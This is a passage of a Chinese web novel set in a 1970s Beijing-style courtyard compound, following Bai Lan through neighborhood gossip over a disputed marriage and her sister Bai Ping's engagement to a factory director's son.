边说胡寡妇就边拍大腿，最后居然坐在地上哇哇大哭起来。那哭声可真是凄凉。结合高青青这段时间的所作所为，说她骗婚还真不过分。 白兰看到这里，实在有点佩服胡寡妇的骚操作了。没见邻居们从一开始到的指责胡爱民，态度已经变为隐隐同情吗？ 大家都怕自家遇到这种事情啊！ 虽然胡爱民跟高青青没有圆房，在大杂院是一个公开的秘密。但秘密没有揭露那就是个秘密。现在当着众人的面被揭开，好些人都对胡家表示同情。就连瘫软在地的胡爱民，也显得没那么猥琐了。 “我家被骗婚了。我儿子生气情绪失控差点打伤秦堂，我们家认了。等我把这个骗婚的女人收拾完，就带着礼物上秦家赔礼道歉。” 斩钉截铁的语气，又给胡寡妇带去一波同情。霎时间，就有人朝秦家人劝了几句。 秦叔本来教训过胡爱民，也没准备把人怎么了。毕竟自家儿子还没受伤，他要是把胡爱民打伤，那就变成自家理亏。 于是，他站在那说道：“赔礼道歉这个是必须的。还有，胡爱民必须写道歉信，并保证以后控制好情绪。不然的话，别怪我们不讲情分。” “爸……”秦艳对这个结果不太满意。开口想说什么，但马上就被秦堂拉住了。 秦堂为人虽然热忱，但也不傻。明白自家老爹的意思，跟着点头：“没错，既然你不是故意的。道歉信这些写好给我，我就不跟你计较了。但是没有下一次了。” “对对对，保证没有下一次。”胡寡妇见秦家父子松口，点头哈腰表示感谢。还不忘把地上瘫软的儿子拉起来，让他先跟秦家人鞠躬道歉。 秦家的事情到了这里就解决了一半了，剩下的一半就是收拾高青青。 胡寡妇摩拳擦掌，准备再给高青青一个好看。但这时候白大姐从屋里出来，朗声说道：“家务事就好好说，不要动手动脚。愿意不愿意，都要谈好。” 其他的，白大姐也没再继续。因为按照目前胡家的情况来说，高青青才真像是骗婚的那个。 胡寡妇见把白莲都引了出来，立马拍胸脯保证，绝对不会再动手。她保证会只用语言来沟通。说着，伸手提起高青青的衣领，就把人往家里拉。 胡爱民见状，本来半死不活躺在地上的。立马也跟着跳起来，三两步就跳回家里，并立刻把家门给锁上。一副生怕再被人揍的怂样。 一场闹剧就这样虎头蛇尾地结束，大伙儿面面相觑。 当然，说啥的人都有。大部分都认为高青青要是不想跟胡爱民同房，那你就不要嫁啊！又要嫁过来又要拒绝，那你这不是骗婚是什么？特别是在胡家人给了五百块的高额彩礼后。 要知道，他们城里人结婚，彩礼一百块顶天了。其他的聘礼什么的，三大件配上一个就是了。但胡家不止给了五百块的彩礼钱，听说另外还给高家弄了台二手自行车。 虽然是二手，但那可是自行车啊！拿去卖也能卖个两三百。 所以，大伙儿都觉得高青青这事儿做得不地道。不圆房也别拖着人家啊！不就是贪图那些彩礼聘礼吗？ 这就是妥妥的骗婚。 白兰听着耳边这些议论，同样觉得高青青这人有毛病。要是实在受不了胡爱民，离婚就好了。偏这样拖着，胡家人又不是善茬。这事儿还有得磨呢！ 跟许建北嘀咕了几句后，搬家继续。不过大杂院却越发热闹了起来。不少胡同邻居听说了胡家的动静，也跑过来看热闹。虽然胡家已经关门了，但他们都蹲在胡家门口，听着里面传来的吵闹声。 白兰见状，有点无语。但想想这时候没啥娱乐活动，走街串巷吃瓜算是一个不花钱的消遣了。 这瓜一持续，到了中午还没停歇。 许建北这边东西都归置好了，大伙儿都准备上桌吃饭了。那头的胡家争吵声依然没有结束。 饭桌上，白兰坐在许建北身边。他们这一桌坐着的都是许建北的朋友，今天帮忙搬家的主力。其中就有白兰早就认识的曹昌盛、大头以及邱成才。 是的，邱成才，白苹的前对象。 白兰记得这人是许建南的朋友，今天居然跑来帮许建北搬家。也真是奇了怪了。 但邱成才还挺自来熟的。看到白兰的视线，笑着打招呼。跟之前在私人菜馆大哭的样子，截然不同。 白兰看他一副放下来的样子，暗想这人离了白苹其实也是个有福气的。 而曹昌盛则是吃着饭聊起了钢厂的情况。主要是这两天钢厂出了个事儿。当事人白兰还认识。 —— “宋家被人给举报呢？” 白兰看着曹昌盛，惊讶这个消息的真实性。她记得宋家之前是被人给盯上了，所以才会那么热切跟自家谈亲事。但后来她把亲事解决了，就再也没怎么关注宋家了。 按照短剧的剪辑，这家人在未来几十年都屹立不倒，赚得盆满钵满，最终成为国内有名的富豪家族。 这样的家族，在这个年代应该没有遇到任何问题。 现在曹昌盛这样说，白兰刚开始还以为对方说的举报，是指之前宋家被人盯上这件事情。 但随即曹昌盛的话，让白兰知道事情没那么简单。 “这次不是小打小闹。听说矿业部门都派人下来调查了。” 一听是这样严重的事情，饭桌上的其他人纷纷停下了筷子。他们这一桌不是螺丝厂就是钢厂的职工。但论起消息灵通，还是曹昌盛最为厉害。 隔壁桌同样在吃饭的许家人，听到这个消息后，大多数没啥反应。但时刻留意白兰的苏小妹，听到钢厂宋家，立马想起这家不就是之前跟白兰谈婚论嫁的那一家吗？ 这家人居然 要倒霉呢？那这白兰还真是扫把星。 这样一想，苏小妹越发觉得不能让这女人嫁给许建北，免得带累自家。 白兰要是知道苏小妹的脑洞这样延伸，铁定要送她几个大白眼。 不过这会子她满脑子都是宋家被人举报，被上面调查这个事儿，总觉得这个事情出现得有点奇怪。虽然她没看完短剧，但原短剧的剧情中应该是没有这个的。 联想到最近白苹通过宋家的人情弄了一车煤，白兰不禁怀疑这个事情是不是跟白苹有关系？ 但其实有没有关系，好像跟自己也没多大的关系。白兰暂时把这个疑问抛到脑后，继续跟许建北聊天。 不过，大头这时候却拉着白兰，小声吐槽：“秦堂真是倒了大霉，艳子喊我今天要一直跟着她哥，保护她哥的清白。” 白兰一听有点想笑。但也觉得秦艳这也算是未雨绸缪。 “反正就一天而已，晚上秦堂就回厂里的宿舍住了。” 大头点头，可不是嘛！看在艳子的面上，这个事儿他就不能推脱。 —— 热热闹闹的中午饭结束后，客人们陆陆续续都离开了。院子里好些个胡同邻居也早散了回家吃饭。 不过胡家的门一直没有打开。时不时还能听到里面传来争吵的声音。 白兰站在西厢的廊下朝对面东厢的胡家看过去。看不到什么东西。 “下午我收拾东西，你要过来一起不？” 调侃的声音在白兰身后响起，她转身推了许建北一下：“我要是跟你呆屋里一个下午，信不信不用到晚上，整个胡同都会传得沸沸扬扬。” 最近这周因为许建北搬家，她跟对方要结婚这个消息就已经被人传得到处都是。这些邻居们的脑洞太大了，白兰不得不注意。 按照她的心意，白兰是很满意许建北的。但她还真没想过马上就结婚。当然，也是因为许建北还没行动起来。 这样想着，她瞪了一眼许建北。 平时十分聪明的许建北，这会子一副什么都没懂的模样。让白兰忍不住又拍了他肩膀一下。 许建北忍着笑意，默默地承受着肩膀的重量。心想等把家都安顿好了，他要给白兰一个大大的惊喜。 接下来一个整个下午，胡家依然没人出门。要不是里面时不时有点声音传出来，大伙儿都要以为胡家人全出门去了。 不过因为关门时间太长，好些个蹲守的人也没了继续八卦的心思，纷纷各回各家。 白兰也在家里收拾房间，以为胡家今天也就这样了。不会再闹什么事情了。 结果傍晚她家吃饭的时候，高青青没头没脑就闯了进来。 —— “白干事，我是来求助的。” 白莲看着高青青，好手好脚，脸上也没伤痕，头发衣服整整齐齐的。看着今天一整天也没被胡家人虐待什么的。怎么忽然跑家里来找她求助？ 白兰没有大姐那么多好心情。见高青青开口就是求助。心知这人估计是没有其他办法了。 果然，马上就听到高青青大喊：“我不想跟胡爱民睡觉。” 白莲无语，她在妇联见多了奇葩人。但高青青这样的属实第一个。而且，家里还有孩子呢，开口闭口就是睡觉，白莲已经不想搭理这个人了。 但本着一位妇女工作者的职业道德，白莲还是站起身来说道：“不想睡觉就不睡觉。这是你的自由。” “那我能不能在你家呆一些时日！”一听白莲的话，高青青眼神充满希望地看着白莲。显然，是把白莲当成救命稻草了。 白莲震惊，白兰震惊，白家其他人震惊。 随即，白家人齐齐摇头。 “你不想跟胡爱民结婚，可以选择离婚。我们家不可能收留你住着。你需要求助的话，可以去找街道。” 白莲开口说着，白兰已经起身准备去找街道的人过来，把这人给带走了。 他们家都不想掺和到高青青的事情里面。这姑娘一看就是不省心的那种。而且帮了她，估计还能被倒打一耙。 高青青见白家人拒绝，白兰又一副要出门的样子，立刻跳了起来。 “你干嘛去？” 白兰：“你的事儿要街道那边牵头处理。我们家是普通人，没办法帮你解决。” 一听要找街道的人调解，高青青也不知道发什么神经，直接就往外头跑。 白兰见状摊手：“她这是去找街道求助？” 白家人都给高青青弄懵了，哪里能理解对方的脑回路。 而跑出白家的高青青，这会儿满肚子都是对白家的怨气。 今天一整天都被胡寡妇关在家里。她真怕对方会让她那土豆儿子对自己来硬的。好在住在大杂院，门外院子一大堆邻居，最终对方也没做出这种事情来。但是对着自己威逼利诱，目的就一个，跟胡爱民圆房，不然就滚蛋。 滚蛋，这是最后一条路。高青青来到城里了，就不想回乡下了。回乡下的话，她丢不起这个脸。村里人都知道她进城里来享福了。 但真要跟胡爱民睡觉，她还是不能接受。 本来以为来白家能找到一点希望，结果白家那么多个女人，没有一个有同情心的。难怪家里能出个离婚头。 从大杂院跑出来，高青青直接就往街道去了。 既然白家人不肯帮助，她最后只能找街道了。听说街道的人很热心，说不定看她可怜，能给安排一个好工作。有了工作，她就不怕没了胡家人的供养了。 谁知道在经过公厕的时候，居然看到秦堂从公厕走出来。高青青想也不想，直接朝秦堂冲了过去。 秦堂正哼着歌从公厕出来。半小时前，胡寡妇带着胡爱民，拎着一条猪肉，带着一封五百字的道歉信上门来道歉。 他自然是“原谅”了对方，但同时也表明了以后跟胡爱民不再往来的意思。 反正胡爱民被他跟他爸揍了好几拳，仇是抱了，所以他也没亏。至于被高青青盯上，这个事儿秦堂觉得自己太冤了。可惜，他们全家暂时也没想到该怎么处理这个事儿。 但总体来说，能跟胡家决裂，秦堂觉得高兴。来公厕一路上都哼歌。 但没想到一出来抬头就看到发疯一样冲过来的高青青。他吓得想往后退。结果斜后方有一只手把自己拉了过去。 高青青就是在这当口冲到他原来的位置。 少了他的阻挡，对方直接越过公厕的大门，冲到公厕里面。 要知道，他去的公厕是男人这边的。他是出来了，但里头还有不少人呢！ 于是，一阵鬼哭狼嚎的声音从公厕里面响了起来。 随即，好几个男人提溜着裤头，手忙脚乱跑了出来。 那场面那叫一个混乱啊！ 虽然是对着自己来的，但秦堂还是觉得特别搞笑。 白兰这会儿站在公厕不远处，同样被这个场景都给逗乐。 天知道。她不过想去公厕，结果就看到高青青发疯发到男厕去了。 看着在公厕门口笑得前仰后合的秦堂，还有拉着秦堂往大路走的大头，白兰觉得秦艳让大头跟着秦堂的做法，实在太对了。 不然，秦堂今天怕是要被高青青袭击了。 当然，高青青没有袭击秦堂成功。倒是把男公厕里头的人给吓了个够呛。 最终，还是有人去喊胡寡妇，这才把躲在男公厕的高青青给拽了出来。 而高青青勇闯男公厕的名声，也在第一时间传遍了这一片的胡同。 大伙儿面上不说，暗地里都说高青青是个女流氓。 当天晚上，胡家响起了胡寡妇一阵又一阵的咆哮声。 但第二天一早起来，大伙儿就发现胡寡妇脸上多了些笑容。 白兰疑惑，但马上就被万大妈的话给震惊了。 “你们以为她咋的？她那是高兴她儿子终于不是童子鸡啦！ ” 万大妈家就在胡家隔壁，昨晚胡家的所有动静她都竖起耳朵听得一清二楚。 “昨晚那高青青一开始被骂了个狗血淋头，胡寡妇还说要儿子跟她离婚，要高青青把彩礼跟聘礼都退回来。不然告她骗婚去。还骂她是女流氓，看不上她儿子，居然跑去男公厕偷看糟老头子。” 白兰默默地听着万大妈的八卦，一脸震惊。而万大妈十分得意大伙儿的表现，继续叨叨：“那高青青也不是啥好东西。一听这个，居然还想拿乔。但胡寡妇一晚上都等不及，就要去找街道的人来做见证。然后，你们猜怎么着？” 到了这会儿万大妈还想卖关子，但大伙儿都不乐意。 万大妈见状，这才一脸高深莫测：“那高青青最后答应跟胡爱民睡觉啦！” “那到底睡没睡？” 万大妈嘿嘿笑：“睡了，我听到动静了。” 白兰默默转身离开，接下来的话她不怎么感兴趣了。但高青青居然那么快就妥协，着实让她惊讶。她还以为对方会再坚持一段时间。坚持不住就会跟胡爱民离婚呢。结果最终居然会是这样。 有点子让人无语。 但这女人对秦堂都有点疯魔了。白兰觉得秦堂还是别回大杂院。除非找到一个很厉害的对象，能制住高青青的那种。 而秦堂这边也着实不敢回大杂院。偶尔回来，也让大头陪着。毕竟大头在公厕可是拉了他一把，保住了他的清白的。 白兰以为这个冬天，也就出了这么一件让人惊讶的事情了。但结果立冬储存冬菜的那天，白苹带着宋国平给家里送来了一车大白菜。 第32章 第32章天生坏种 “哎哟，白家三闺女这是带对象回家呢？” “那对象瞧着还挺像样的。” “搬出去这才多久，居然都带对象上门了。白家这三闺女可真能耐……” 白兰站在门口听着邻居们的窃窃私语，只想翻白眼儿。白苹这样的能干闺女，要是送给他们，他们怕是要被气得吐血了。 可不是她夸张！ 要是邻居们知道白苹带回来的对象居然是宋国平，怕不是立马就要炸了。 屋里她爸妈这会儿可不就要炸了嘛！ “你们俩到底是个什么关系？” 三闺女带着男人回来，即使是来送一车大白菜的。但白爸爸也不稀罕啊！这男人是谁啊！是小闺女之前可能结亲但最后没成的家伙。 虽然只是可能并没有进展到结婚那一步，但也是跟小闺女相过亲的。这种关系下，三闺女又不是不知道，还跟这人混到一起去。这怎么能不让白爸爸生气呢！ 但生气归生气，该问的他还得要问，而且不能把事情闹大。免得让邻居们知道后，对白苹这不省心的指指点点。 想到这里，白爸爸就觉得特别憋屈。 白苹见自己带一车大白菜回来，依然没能得到家人的一个好脸，表情十分难看。但顾忌着身边坐着的宋国平，她还是忍了。 “爸，我跟宋同志这次回来，是给家里送大白菜的。顺便跟你说说我们两正在处对象。最近有结婚的打算。” 短短一句话，透露的信息太多，白爸爸觉得太阳穴突突跳。白妈妈也没好到哪里去。 至于白兰，这会儿靠在门边，已经无话可说了。 虽然她早猜到白苹把主意打到宋国平那了。但真听到对方说准备跟宋国平结婚，白兰还是觉得太魔幻了。 这白苹到底梦到了什么东西。居然那么贴着宋家不放。 —— 白苹在说话的时候，眼角余光一直注意白兰。现在见对方的表情变化，白苹心中暗爽，只觉得白兰这下该后悔了吧！ 哼，之前她那么轻易就放开宋国平，真是不惜福。但也多亏白兰也没眼光，不然宋国平这种未来富豪，自己要攀上其实也有难度的。 想到自己这些天所做的努力，白苹就忍不住露出一个得意的笑容来。 不过在接触到宋国平那没什么变化的表情后，她又立马收敛了起来。只对着震惊的父母继续：“是的，我们两准备赶在过年前把婚礼给办了。确定好时间后，宋家伯父会找爸你谈的。” “不行我不同意。”白爸爸好像终于反应了过来，直接反对。 白苹表情难看，直接道：“同不同意，我们也是要结婚的。每个人的婚姻都是自由的。对吧，大姐！” 最后一句，白苹是对着白大姐说的。那表情，意思很明显，就是你离个婚都行，我结个婚凭什么不行！ 一直沉默的白妈妈忽然道：“那你今天来，不是找我们商量，而是直接通知我们的对吧！” 见一向疼爱自己的妈妈忽然质问出声，白苹的心颤了颤。随即强硬道：“对，我就是来通知你们的。”说真，伸手拉了拉一直没吭声的宋国平。示意对方开口说几句。 但宋国平却只吐出几个字：“对，我们是要结婚的。”短短几个字之后，宋国平又闭上了嘴巴。 那样儿活像修了闭口禅。白兰忍不住翻了个白眼儿。就宋国平的态度，她可以确定这人跟白苹没啥感情。要跟白苹结婚，应该宋家被人举报有关。 上周末就听曹昌盛说这个事儿，当时白兰就觉得这举报跟白苹有关。现在看这两人相处的情形，保不齐就是白苹举报的。 宋国平娶白苹的目的，就跟当初来找自己结亲差不多，都是当挡箭牌呢！ 白爸爸显然也想到了这茬。他脸色难看：“白苹，你忘了当初小兰拒绝结亲的原因吗？” 宋国平听到这话表情微变。 白苹却坚定摇头：“那不一样。我跟宋同志是有感情的。对吧，宋同志。” 宋国平还在盯着白兰，听到这话，随意点了点头。 白苹见状，不爽宋国平盯着白兰看。她瞪了白兰一眼，挪了挪自己的位置，直接把宋国平的视线挡住。然后才看向依然情绪激动的父母。 “宋家的条件好，我嫁过去能住在小洋楼，不用再像大杂院这样家家户户挤在一起。吃点什么、说点什么立马整条胡同都知道。工作上宋家也会给我帮忙。宋同志的父母都有好工作。宋同志本人也特别优秀。爸妈，你们有什么理由反对呢？难道要我回来这破大杂院，以后也嫁给一个住在大杂院的男人吗？” 说着，白苹朝白兰投了一个示威的眼神。 马上得到白兰不客气的回瞪。她可不觉得嫁进宋家是什么好事儿。更加不觉得小洋楼有啥好稀罕的。她喜欢的男人，以后要嫁的男人就是住在大杂院的，那又怎样呢？反正再过一两年，市场一开放，要什么都能用自己的双手挣回来！ 最终，白家父母也没说同意白苹嫁给宋国平的事情。但是，按照白苹离开时的态度，白家人知道这人是不会改变的了。 “真是作孽啊！” 白苹一走，白妈妈就忍不住哭了起来。 “别哭，明知道是坑她都要跳。你再哭也没用。”白爸爸拿了条手帕给白妈妈擦眼泪。 白妈妈：“我就不明白，她为什么会变成这样？” 白大姐：“她一直都是这样的人，只是之前没表现出来而已。” 想想邱成才的遭遇，白兰就忍不住点头。白苹那样一个自私自利的人，对她再好，没有利用价值她就会抛弃。这人跟他们老白的人完全不一样。他们家各个不说大善人，但三观都特别正。偏偏出了白苹这样一个异类。 白妈妈也在嘀咕白苹怎么是这样的人。她甚至怀疑是不是自己没有把白苹教好。 —— “放屁，你没教好她？你四个女儿，就她一个自私鬼。怎么不说她天生就是个坏种！” 白苹离开后的第二天，关于她昨天带回来的男人是钢厂宋厂长儿子这条消息，就在胡同这边传得沸沸扬扬。 白妈妈知道后，气得差点倒在家里。 正好白家姥姥跟着儿子的牛车，来城里给闺女送冬菜。见到这个情形，十分不客气地骂了起来。 “白苹这妮子，说实在话。从出生见到她的第一面，我就不喜欢她。之前不说， 是怕你这当妈的不高兴。但她都这样对你了，我也没什么好顾忌的。” 白姥姥大马金刀坐在椅子上，不客气地数落起白苹的各种不好。 从她小时候就爱抢白梨的东西，到她经常欺负白兰。再到她长大后抢了白梨的工作，害得白梨下乡。这一桩桩一件件，白姥姥是十个手指头都数不过来。 白兰早早回到家里，正好就听到白姥姥的这些数落。 她不得不佩服老人家的记性就是好！当然，听完后她也觉得白苹就是天生的坏种。 “哎哟，兰兰下班啦。过来，过来。跟我一起劝劝你妈。她就是死脑筋。白苹这妮子不走正道，那就让她去碰，碰得头破血流了，自然知道要怎么回头。” 大舅舅在边上看着妹妹的表情越发难看，干咳两声，想阻止自家妈继续数落。但被老太太无情打断了。 白兰觉得大舅舅这是被迁怒了。她一个小辈不好看长辈的笑话。就从家里出来，坐在廊下休息。 大杂院的邻居们见到这个情形，有人凑过来跟白兰打听。但白兰摇头拒绝回答。 邻居们见问不出什么，但大多心里有数。 就听到胡寡妇在那嘀咕：“嫁到钢厂厂长家还不好啊！要不是人家看不上我家爱花。我保证把爱花送过去。” “哎哟，你以为人人都像你这样势利眼啊！”秦婶子不客气地反驳起胡寡妇来。 自从胡爱民用铁铲袭击秦堂后，这些天两人一直就处于这样互怼的状态。虽然胡爱民的道歉信，都被秦家贴到了纺织厂布告栏里面。但秦婶子对胡家的怨还没消散。 胡寡妇被怼，毫不客气地反驳：“你敢说你不势利眼！你要真不势利眼，怎么不给你儿子也找个农村媳妇啊！” 这话一出，秦婶子瞪眼：“就你家那样的女流氓儿媳妇，我们家可要不起。” “你……”胡寡妇被气得差点跳起来。但她不敢动手打人。高青青在这个事情上不无辜。这人虽然跟自家儿子圆房了，但一天不生下孩子，胡寡妇都不敢掉以轻心。 白兰一直猫在那听着几个大妈聊天，听到这都有点无语了。这些人不是在聊白苹的事儿吗？怎么歪楼又歪到高青青那呢？ 这样想着，她就注意到高青青一直盯着自家看。 白兰皱眉，总觉得自从圆房后，高青青就变得更加阴沉了。 不过，这会子她家都被白苹弄得乱糟糟的，她也没空去关注高青青这人。反正秦艳一天到晚都盯着高青青。白兰是一点都不用担心的。 倒是一直在默默听八卦的钱大妈，冷不低插话：“你们不是再说那宋厂长的儿子吗？那小伙子还有什么优点不？” 胡寡妇心情正不好呢！听到这话直接白了对方一眼：“哎哟，钱大妈。这小伙子好不好，人家白家人会关心。跟你有啥关系呢！不过，这小伙子被妹妹嫌弃，反倒是被姐姐给看上。估计再好也限喽！” 钱大妈在听到胡寡妇前半句还有点讪讪的。但听到后一句，立刻问道：“那小伙子还有啥毛病啊！” 不过，胡寡妇没有再理钱大妈。伸手就把在门槛坐着的高青青给拉了起来：“走走，跟我去前头空地挖野菜去。一天到晚闲得发慌，也不会给家里弄些吃喝回来……” 随着胡寡妇的声音走远，刚刚八卦的小团体立马解散。但白兰注意到钱大妈还在拉着秦婶子说话。心想这大妈平时不怎么说话。最近好像话都变多了。 第33章 第33章海城来客 一早，白兰哆哆嗦嗦打开屋门，朝公厕那边走去。 要说住大杂院最不好是哪里，那就是大杂院没有厕所跟洗澡的地方。洗澡还好，夏天屋里洗，冬天上澡堂。但厕所那真是特别不方便。 公厕卫生堪忧不说，高峰期还得排队。这不，白兰人还没到公厕呢，就听到公厕那边传来一阵阵说话的声音。 也是神奇，大家伙一大早提着痰盂，吹着凉风排队，居然还有心思聊天。 白兰默默地走到队伍末尾，竖起耳朵听这些大妈婶子们的聊天。 这个说那家儿媳妇不孝顺，那个说那家婆婆苛待儿媳妇。总之，叽叽喳喳，各有各的观点，听着好像双方都有道理。 “哎，钱大妈。一大早就笑嘻嘻。这是捡到宝啦！”胡寡妇大喇喇的声音从身后响起。白兰没有回头，但很快就听到胡寡妇在那喊自己：“白兰啊！你家白苹前儿个不是拉了一车冬菜回来吗？今天你家还要跟咱院儿一起去拉冬菜不？” 往年拉冬菜，都是一个大杂院的人一起行动的。女人负责去菜站那边排队，等拉菜的大货车一来，就赶紧过去抢菜。男人则是赶紧从家里拉车跑过来，大伙儿一起把菜都拉回大杂院。 不过前两天白苹跟宋国平送了一车大白菜回来。她爸是不想要的，就跟之前那车煤一样。不过最后还是留下了。毕竟一车大白菜顶天也就二十块。她爸说养白苹那么大，吃她一车菜也是应该的。 再加上姥姥、大舅又送了一车过来，家里今年的菜尽够了。 “不拉了，今年菜够吃了。” “那也是，白苹再不厚道，抢你对象。那大白菜还是孝敬你爸妈的。” 胡寡妇这话特膈应。白兰不软不硬来了句：“宋同志跟我没有任何关系。胡婶子你说话注意一定。还有，婶子你平时跟高青青干架声音小点。别闹大了让人又举报到街道。” 高青青自从圆房后也没消停。好像是觉得圆房了，胡家更要给她找份工作。 被白兰这样一说，胡寡妇瞬间闭上嘴巴。 钱大妈这时候打圆场：“哎哟，这嘴皮子还有碰到舌头的时候呢。家和万事兴，家和万事兴。白兰啊，像你三姐她也挺苦的。小小年纪就在外面住，工作听说也不如意。再怎么说，现在好到一个好对象，也算是后半辈子有依靠了。你啊，一辈子就这么一个三姐，好好跟她相处，也别闹脾气了。” 充满说教意味的话，白兰不想听。事实上，自从那天白苹带宋国平来家里一趟后，就有好些人的论调变成这样。没想到一大早又从钱大妈嘴里听到，白兰觉得有点晦气。 她爸妈都不勉强他们姐妹几个改变对白苹的态度。这些邻居倒是说教起来。 不过，白兰也没说啥。这钱大妈家就她跟她老伴，家里唯一的女儿嫁外地去了。这种空巢老人，白兰犯不着跟她们计较。 —— 从公厕出来后，白兰回到家里，边吃早饭边把钱大妈刚刚那些劝说的话，给家里人都说了一遍。 主要是她姥来了一趟，她妈是彻底想通了。但外头人不知道啊，还以为他们全家都在反对呢。老是来当和事佬，有点烦人。 白大姐伸手点了点小妹：“反正他们说你听着就是了。等有其他新鲜事儿出来，这事儿也就过去了。” 一家人正说说笑笑呢，结果就听到院子有人在喊：“白苹这么早又回家来啦！” 白兰无语，转头看向院子。就看到刚在公厕说话的钱大妈，正高高兴兴拉着白苹跨过月亮门朝家里这边走来。 白苹很享受钱大妈的热情，也很得意大杂院邻居们的惊讶。她压了压嘴角：“是啊，最近工作不忙，多回家来陪陪爸妈。” “哎哟，都有对象了，还是多和 对象出去走走。“钱大妈一副过来人的样子，伸手拍了拍白苹的胳膊。 白苹也没嫌弃，因为大杂院的这些邻居中，钱大妈对她是最好的那一位。 “我对象最近忙着收拾屋子呢！” 这话说得相当含糊，但钱大妈却高兴道：“哎哟，这是好事近了！” 胡寡妇拿着个窝窝头站在门口看热闹呢。听到这话，乐得大声喊：“哎哟，白苹这是快要嫁人啦！” 边说，胡寡妇边特意往白家方向又喊了几句。那样儿，不用说，就是特意说给白家听的。 奈何白家人早已经想通，无人在意这个事儿。 —— 白兰更是拿了两馒头，直接越过白苹，走到许建北跟前。 没错，许建北已经在大杂院住了下来。一周大概会在这边住三四天。剩下的时间则是住在厂里分的房子里。主要看工作安排来定时间。 “待会儿你家拉冬菜，需要你过去不？” 许建北接过馒头，摇摇头：“我大哥、三哥过去就够了。我就不跟着添乱了。对了，我最近可能会往海城一趟……” 之前许建北有把工作调动到海城的计划。不过在认识白兰后，他决定留在北城。但海城那边，他还是要过去一趟。跟几个老师傅一起去，帮忙调适机器。 白兰一听海城，心中一动。七十年代的海城啊，也不知道是什么样子的。她还真有点想去看看。听说全国物资最为丰富的地方，除了北城就是海城了。 许建北还在那说着工作安排，然后问道：“你有想要的东西不？到时候我找时间去给你找。” 白兰想了想，自己好像没啥紧缺的东西。 两人说话的时候也没闭着许家人。所以许建北这话一出，就听到苏小妹不客气地嚷嚷：“我缺，我缺……” 苗大菊不客气地瞪了她一眼：“缺什么找你男人要去。” 苏小妹：“哼，海城有啥了不起的。人家钱大妈的女儿嫁到海城，也没见人家摆谱儿……” 没人理会苏小妹的嘀嘀咕咕。白兰听了也当没听到。 结果还没到中午，冬菜都没拉完呢，大杂院居然又来人了。这次来的人不是旁人，正是早上苏小妹口中提到过的，钱大妈那个嫁到海城的闺女。 —— “哎哟，春云，怎么不年不节的，这时候回娘家啊！” 白兰这个时候就跟许建北在门口坐着，拿着本子在商量去海城要买的东西呢。结果就看到一个瘦瘦小小的中年女人，提着大包小包来到了院子。 对方穿着深蓝色的呢子大衣，带跟的皮鞋，头发瞧着还带着点微卷。但怕打眼都扎了起来。长相挺普通的，但皮肤保养得挺好。 总的来说，这是一位相当时髦的女人。 白兰在记忆中搜寻了一圈，认出这人就是钱大妈的女儿钱春云。这人好像嫁到海城后，几年才会回来一趟。其他时候，都是钱家老两口过去海城探望她的。没想到不年不节的，人就忽然跑回来了。 大杂院的人都跟白兰有类似的想法。 钱春云笑眯眯地朝大家打招呼：“哎哟，这不是好久没回家，回来看看大家啊。这满院儿都是菜，我这是来得巧啊！” “菜还没拉完呢。”钱大妈见到女儿回来，惊喜地拉着她往家里走。 “小兰，这下你妈应该彻底不会伤心了。”苗大菊的声音从身后响起。白兰疑惑看向对方。 苗大菊：“春云跟你妈以前关系可好呢！也就是春云嫁到海城后，她们两关系才远了些。” 白兰搜索了一下记忆，好像确实有这么一回事。 但她妈其实真不伤心了。没见早上白苹来了后，她妈都没赶人吗？这代表着她妈是彻底不管白苹在外头的事儿呢。 不过苗大菊是好意，她也没拒绝，笑笑岔开话题：“婶子，让建北给你在海城带条好看的围巾回来。听说海城的羊绒围巾特别精美……” —— 海城的羊绒围巾暂时没有，但海城的糕点倒是在半小时后吃到了。 白兰看着送糕点上门的钱春云，觉得这人还挺会做人的。 “春云，好不容易回来一趟，怎么还带糕点。这得多重啊！” 白妈妈的话带着些熟稔，显然两人的关系确实比较亲近。 钱春云笑笑：“这有啥的。我爸妈还不是多亏了你们照顾。咱大杂院也就那么些人家，一家送一份其实也不占地方。” 没错，钱春云一回来，就一家家送糕点感谢大家对钱大爷、钱大妈的照顾。钱家的冬菜就是大杂院的人一起弄回来的。 白妈妈笑笑，又问这位几年没见的好友：“今年怎么有空回来啊” 钱春云笑道：“这不是婆家亲戚有人要结婚，我回来喝个喜酒。” 两人在叙旧，白兰不太想听，就准备回屋里看看。白苹回来后，跟家里人说了几句，就钻她的床铺躺着去了。白兰想看看对方到底回来做什么。 耳边又听到她妈在问钱春云婆家的事情，白兰是彻底没去关注了。 当等到晚上吃饭的时候，白兰才听他爸在那嘀咕：“钱春云不是嫁海城就嫌弃大杂院不好吗？” 白妈妈还是记着年轻时候的情分，摇头：“那也不是。她这是高嫁，婆家人管得严。” 白爸爸：“再严也不能生了孩子都不带回来。你看看钱家老两口，不就为了看女儿外孙，年年往海城跑。今年估计过年又要往海城去。” 白苹难得在饭桌上出现，听到这话撇撇嘴。心想要她嫁到海城那样繁华的大城市，也要瞧不上大杂院这个穷酸地方。 第34章 第34章送彩礼跟求婚 再是瞧不起大杂院，但白苹今天过来还是有任务的。 “爸妈，宋厂长两口子说要上门跟你们谈我跟宋国平的事情。你们看看这两天什么时候比较方便？” 饭桌上瞬间安静了下来。 白兰不客气道：“你要说这些扫兴的话，好歹等我们把饭都吃完啊！” 白苹砰一下放下碗筷：“跟你有关系吗？难不成你这是嫉妒我要嫁到宋家不成” 白兰：“呵呵，嫉妒你是个工具人吗？” 工具人这个单词白苹没听过，但字面上的意思她还是能理解的。瞬间脸就气得涨红。 她确实就是宋家度过危机的工具人。因为她那一封举报信，上头一直在调查宋厂长，还真查出些猫腻。也是因为这样，宋家才会那么着急要给宋国平找个对象，好让他跟那个下乡的女人断开关系。 而她就是在这个时候，十分凑巧地出现在宋家人面前。 只是这些事情自己知道就好，白兰这样赤果果摊开说出来，让她觉得没脸。 白爸爸这时候也放下碗筷：“白苹，你真确定要嫁到宋家去？” 白苹肯定点头：“我不想住大杂院，更加不想嫁给一些没用的男人。” 够直白，饭桌上众人都不会接话了。 白兰其实不介意白苹有这种想法，但介意这人的手段。 所以她直接道：“爸，有些事情管不了就别管了。” —— “哎，我真是没想到她会变成这样！” 晚饭因为白苹的话，最终不欢而散。但白苹没有走，打定主意这两天就住家里。白兰不想跟她呆在一个空间，吃晚饭就叫上许建北一起散步。没想到刚出胡同，就听到她妈正在跟钱春云说话。 她没走过去，但还是听到了钱春云的话。 “再怎么样，孩子还是怀胎十月生下来的。小苹那对象我听说了，钢厂厂长的儿子，条件很可以了。” 